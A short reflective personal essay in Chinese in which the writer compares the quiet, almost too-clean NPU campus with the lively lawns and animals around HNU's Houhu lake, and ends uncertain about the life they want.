或许是因为那无处不在的静电,总是在我最放松的时候狠狠刺我一下,提醒我这里的空气并不属于我;又或许是因为这个校区有点像……医院?或者说其他的,大型的居住地与聚集地——它足够安静,足够治愈,但它太干净了,干净得让我这种习惯了在 HNU 的烟火气里吸收生命力的人,感到了一丝不真实。
在 HNU 的时候,我想休息治愈之时,往往会去后湖。
一般是坐在德智附近的那个草坪,看着来散步的大学生们和其他居民遛遛狗,拍拍照什么的;也喜欢看着一群大学生野餐露营,有说有笑的。
我很喜欢看草坪上的小狗追逐打闹,或者在角落里又看见几只小猫。在后湖的下午,到处埋藏着一系列类似于「NPC 任务」一样的事情,真的可以感受到与人交互的生命力。
但是在 NPU 的那个大湖里,我可以看到对面就是 NPU 的大飞机,我还看到一对坐在长椅上,柳树下,牵手不语的情侣,偌大的湖,眼神里只见你我二人。


这种犹豫是什么呢?现在的我还说不清。
也许等我下一次再来,或者等我真正看清自己想要的生活时,才会有答案罢。